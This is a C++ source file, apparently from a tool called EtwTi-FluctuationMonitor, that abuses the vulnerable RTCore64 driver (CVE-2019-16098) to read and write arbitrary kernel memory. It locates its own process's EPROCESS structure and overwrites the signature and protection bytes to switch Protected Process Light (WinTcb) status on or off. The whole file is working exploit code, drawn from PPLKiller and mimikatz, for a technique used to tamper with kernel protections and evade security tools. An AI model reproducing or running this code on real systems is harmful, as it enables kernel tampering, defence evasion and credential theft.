enableppl.cpp

#include "stdafx.h"

// ============================================
// EtwTi-FluctuationMonitor v2.0
// PPL启用功能实现
// 
// 注意：用户需要手动创建驱动服务
// 本代码仅连接已存在的驱动服务
// ============================================

// 代码参考来源：
// https://github.com/gijsh/PPLKiller/tree/feature-allow-ppl-protection
// https://github.com/RedCursorSecurityConsulting/PPLKiller
// https://github.com/Barakat/CVE-2019-16098
// https://github.com/gentilkiwi/mimikatz

// ============================================
// RTCore64 驱动通信结构
// ============================================
struct RTCORE64_MEMORY_READ {
    BYTE Pad0[8];
    DWORD64 Address;
    BYTE Pad1[8];
    DWORD ReadSize;
    DWORD Value;
    BYTE Pad3[16];
};
static_assert(sizeof(RTCORE64_MEMORY_READ) == 48, "sizeof RTCORE64_MEMORY_READ must be 48 bytes");

struct RTCORE64_MEMORY_WRITE {
    BYTE Pad0[8];
    DWORD64 Address;
    BYTE Pad1[8];
    DWORD ReadSize;
    DWORD Value;
    BYTE Pad3[16];
};
static_assert(sizeof(RTCORE64_MEMORY_WRITE) == 48, "sizeof RTCORE64_MEMORY_WRITE must be 48 bytes");

// ============================================
// 内核读写原语
// ============================================

// 内核内存读取原语
static DWORD ReadMemoryPrimitive(HANDLE Device, DWORD Size, DWORD64 Address) {
    RTCORE64_MEMORY_READ MemoryRead{};
    MemoryRead.Address = Address;
    MemoryRead.ReadSize = Size;

    DWORD BytesReturned;

    DeviceIoControl(Device,
        RTCORE64_MEMORY_READ_CODE,
        &MemoryRead,
        sizeof(MemoryRead),
        &MemoryRead,
        sizeof(MemoryRead),
        &BytesReturned,
        nullptr);

    return MemoryRead.Value;
}

// 内核内存写入原语
static void WriteMemoryPrimitive(HANDLE Device, DWORD Size, DWORD64 Address, DWORD Value) {
    RTCORE64_MEMORY_WRITE MemoryWrite{};
    MemoryWrite.Address = Address;
    MemoryWrite.ReadSize = Size;
    MemoryWrite.Value = Value;

    DWORD BytesReturned;

    DeviceIoControl(Device,
        RTCORE64_MEMORY_WRITE_CODE,
        &MemoryWrite,
        sizeof(MemoryWrite),
        &MemoryWrite,
        sizeof(MemoryWrite),
        &BytesReturned,
        nullptr);
}

// 读取WORD
static WORD ReadMemoryWORD(HANDLE Device, DWORD64 Address) {
    return ReadMemoryPrimitive(Device, 2, Address) & 0xffff;
}

// 读取DWORD
static DWORD ReadMemoryDWORD(HANDLE Device, DWORD64 Address) {
    return ReadMemoryPrimitive(Device, 4, Address);
}

// 读取DWORD64
static DWORD64 ReadMemoryDWORD64(HANDLE Device, DWORD64 Address) {
    return (static_cast<DWORD64>(ReadMemoryDWORD(Device, Address + 4)) << 32) | ReadMemoryDWORD(Device, Address);
}

// 写入DWORD64
static void WriteMemoryDWORD64(HANDLE Device, DWORD64 Address, DWORD64 Value) {
    WriteMemoryPrimitive(Device, 4, Address, Value & 0xffffffff);
    WriteMemoryPrimitive(Device, 4, Address + 4, Value >> 32);
}

// ============================================
// 辅助函数
// ============================================

// 获取内核基址
static unsigned long long getKernelBaseAddr() {
    DWORD out = 0;
    DWORD nb = 0;
    PVOID* base = NULL;
    if (EnumDeviceDrivers(NULL, 0, &nb)) {
        base = (PVOID*)malloc(nb);
        if (base && EnumDeviceDrivers(base, nb, &out)) {
            return (unsigned long long)base[0];
        }
    }
    return NULL;
}

// 检查驱动服务是否可用
bool IsDriverAvailable() {
    HANDLE hDevice = CreateFileW(
        LR"(\\.\RTCore64)",
        GENERIC_READ | GENERIC_WRITE,
        0,
        nullptr,
        OPEN_EXISTING,
        0,
        nullptr
    );

    if (hDevice == INVALID_HANDLE_VALUE) {
        return false;
    }

    CloseHandle(hDevice);
    return true;
}

// 打开驱动设备
HANDLE OpenDriverDevice() {
    HANDLE hDevice = CreateFileW(
        LR"(\\.\RTCore64)",
        GENERIC_READ | GENERIC_WRITE,
        0,
        nullptr,
        OPEN_EXISTING,
        0,
        nullptr
    );

    if (hDevice == INVALID_HANDLE_VALUE) {
        printf("[!] Unable to open RTCore64 device. Error: %d\n", GetLastError());
        printf("[!] Please make sure the driver service is created and started manually.\n");
        return INVALID_HANDLE_VALUE;
    }

    return hDevice;
}

// 关闭驱动设备
void CloseDriverDevice(HANDLE hDevice) {
    if (hDevice != INVALID_HANDLE_VALUE && hDevice != NULL) {
        CloseHandle(hDevice);
    }
}

// 获取不同Windows版本的内核偏移量
Offsets GetVersionOffsets() {
    wchar_t value[255] = { 0x00 };
    DWORD BufferSize = 255;
    if (ERROR_SUCCESS != RegGetValueW(
        HKEY_LOCAL_MACHINE,
        L"SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion",
        L"ReleaseId",
        RRF_RT_REG_SZ,
        NULL,
        &value,
        &BufferSize))
    {
        wprintf(L"[!] Windows Version Not Found!\n");
        return Offsets{ 0, 0, 0, 0 };
    }

    auto winVer = _wtoi(value);
    switch (winVer) {
    case 1607:
        return Offsets{ 0x02e8, 0x02f0, 0x0358, 0x06c8 };
    case 1803:
    case 1809:
        return Offsets{ 0x02e0, 0x02e8, 0x0358, 0x06c8 };
    case 1903:
    case 1909:
        return Offsets{ 0x02e8, 0x02f0, 0x0360, 0x06f8 };
    case 2004:
    case 2009:
        return Offsets{ 0x0440, 0x0448, 0x04b8, 0x0878 };
    default:
        wprintf(L"[!] Version Offsets Not Found for ReleaseId %s!\n", value);
        wprintf(L"[!] Guessing offsets... this could crash!\n");
        return Offsets{ 0x0440, 0x0448, 0x04b8, 0x0878 };
    }
}

// 启用PPL保护
bool EnablePPL(HANDLE hDevice) {
    if (hDevice == INVALID_HANDLE_VALUE) {
        printf("[!] Invalid device handle\n");
        return false;
    }

    auto offsets = GetVersionOffsets();
    if (offsets.UniqueProcessIdOffset == 0) {
        printf("[!] OS not supported - bailing\n");
        return false;
    }

    const auto NtoskrnlBaseAddress = getKernelBaseAddr();
    if (NtoskrnlBaseAddress == 0) {
        printf("[!] Failed to get kernel base address\n");
        return false;
    }

    printf("[*] Kernel base address: 0x%llx\n", NtoskrnlBaseAddress);

    // 定位PsInitialSystemProcess地址
    static DWORD64 PsInitialSystemProcessAddress = 0;
    if (PsInitialSystemProcessAddress == 0) {
        static HMODULE Ntoskrnl = LoadLibraryExW(L"ntoskrnl.exe", NULL, DONT_RESOLVE_DLL_REFERENCES);
        if (Ntoskrnl == NULL) {
            printf("[!] Failed to load ntoskrnl.exe\n");
            return false;
        }
        static DWORD64 PsInitialSystemProcessOffset =
            reinterpret_cast<DWORD64>(GetProcAddress(Ntoskrnl, "PsInitialSystemProcess")) -
            reinterpret_cast<DWORD64>(Ntoskrnl);
        FreeLibrary(Ntoskrnl);
        PsInitialSystemProcessAddress = ReadMemoryDWORD64(hDevice, NtoskrnlBaseAddress + PsInitialSystemProcessOffset);
    }

    printf("[*] PsInitialSystemProcess address: 0x%llx\n", PsInitialSystemProcessAddress);

    // 在活动进程列表中查找当前进程
    const DWORD64 TargetProcessId = static_cast<DWORD64>(GetCurrentProcessId());
    DWORD64 ProcessHead = PsInitialSystemProcessAddress + offsets.ActiveProcessLinksOffset;
    DWORD64 CurrentProcessAddress = ProcessHead;

    do {
        const DWORD64 ProcessAddress = CurrentProcessAddress - offsets.ActiveProcessLinksOffset;
        const auto UniqueProcessId = ReadMemoryDWORD64(hDevice, ProcessAddress + offsets.UniqueProcessIdOffset);
        if (UniqueProcessId == TargetProcessId) {
            break;
        }
        CurrentProcessAddress = ReadMemoryDWORD64(hDevice, ProcessAddress + offsets.ActiveProcessLinksOffset);
    } while (CurrentProcessAddress != ProcessHead);

    CurrentProcessAddress -= offsets.ActiveProcessLinksOffset;
    printf("[*] Current process address: 0x%llx\n", CurrentProcessAddress);

    // 启用PPL保护
    printf("[*] Enabling PPL protection for process %d\n", GetCurrentProcessId());

    // SignatureLevel设置
    WriteMemoryPrimitive(hDevice, 1, CurrentProcessAddress + offsets.SignatureLevelOffset, 0x38);
    // SectionSignatureLevel设置
    WriteMemoryPrimitive(hDevice, 1, CurrentProcessAddress + offsets.SignatureLevelOffset + 1, 0);
    // PsProtectedTypeProtectedLight (Type=1) + PsProtectedSignerWinTcb (Signer=6)
    WriteMemoryPrimitive(hDevice, 1, CurrentProcessAddress + offsets.SignatureLevelOffset + 2, 0x61);

    printf("[+] PPL protection enabled successfully\n");
    return true;
}

// 禁用PPL保护
bool DisablePPL(HANDLE hDevice) {
    if (hDevice == INVALID_HANDLE_VALUE) {
        printf("[!] Invalid device handle\n");
        return false;
    }

    auto offsets = GetVersionOffsets();
    if (offsets.UniqueProcessIdOffset == 0) {
        printf("[!] OS not supported - bailing\n");
        return false;
    }

    const auto NtoskrnlBaseAddress = getKernelBaseAddr();
    if (NtoskrnlBaseAddress == 0) {
        printf("[!] Failed to get kernel base address\n");
        return false;
    }

    // 定位PsInitialSystemProcess地址
    static DWORD64 PsInitialSystemProcessAddress = 0;
    if (PsInitialSystemProcessAddress == 0) {
        static HMODULE Ntoskrnl = LoadLibraryExW(L"ntoskrnl.exe", NULL, DONT_RESOLVE_DLL_REFERENCES);
        if (Ntoskrnl == NULL) {
            printf("[!] Failed to load ntoskrnl.exe\n");
            return false;
        }
        static DWORD64 PsInitialSystemProcessOffset =
            reinterpret_cast<DWORD64>(GetProcAddress(Ntoskrnl, "PsInitialSystemProcess")) -
            reinterpret_cast<DWORD64>(Ntoskrnl);
        FreeLibrary(Ntoskrnl);
        PsInitialSystemProcessAddress = ReadMemoryDWORD64(hDevice, NtoskrnlBaseAddress + PsInitialSystemProcessOffset);
    }

    // 在活动进程列表中查找当前进程
    const DWORD64 TargetProcessId = static_cast<DWORD64>(GetCurrentProcessId());
    DWORD64 ProcessHead = PsInitialSystemProcessAddress + offsets.ActiveProcessLinksOffset;
    DWORD64 CurrentProcessAddress = ProcessHead;

    do {
        const DWORD64 ProcessAddress = CurrentProcessAddress - offsets.ActiveProcessLinksOffset;
        const auto UniqueProcessId = ReadMemoryDWORD64(hDevice, ProcessAddress + offsets.UniqueProcessIdOffset);
        if (UniqueProcessId == TargetProcessId) {
            break;
        }
        CurrentProcessAddress = ReadMemoryDWORD64(hDevice, ProcessAddress + offsets.ActiveProcessLinksOffset);
    } while (CurrentProcessAddress != ProcessHead);

    CurrentProcessAddress -= offsets.ActiveProcessLinksOffset;
    printf("[*] Current process address: 0x%llx\n", CurrentProcessAddress);

    // 禁用PPL保护
    printf("[*] Disabling PPL protection for process %d\n", GetCurrentProcessId());

    // 清除保护相关字段
    WriteMemoryPrimitive(hDevice, 1, CurrentProcessAddress + offsets.SignatureLevelOffset, 0x00);
    WriteMemoryPrimitive(hDevice, 1, CurrentProcessAddress + offsets.SignatureLevelOffset + 1, 0x00);
    WriteMemoryPrimitive(hDevice, 1, CurrentProcessAddress + offsets.SignatureLevelOffset + 2, 0x00);

    printf("[+] PPL protection disabled successfully\n");
    return true;
}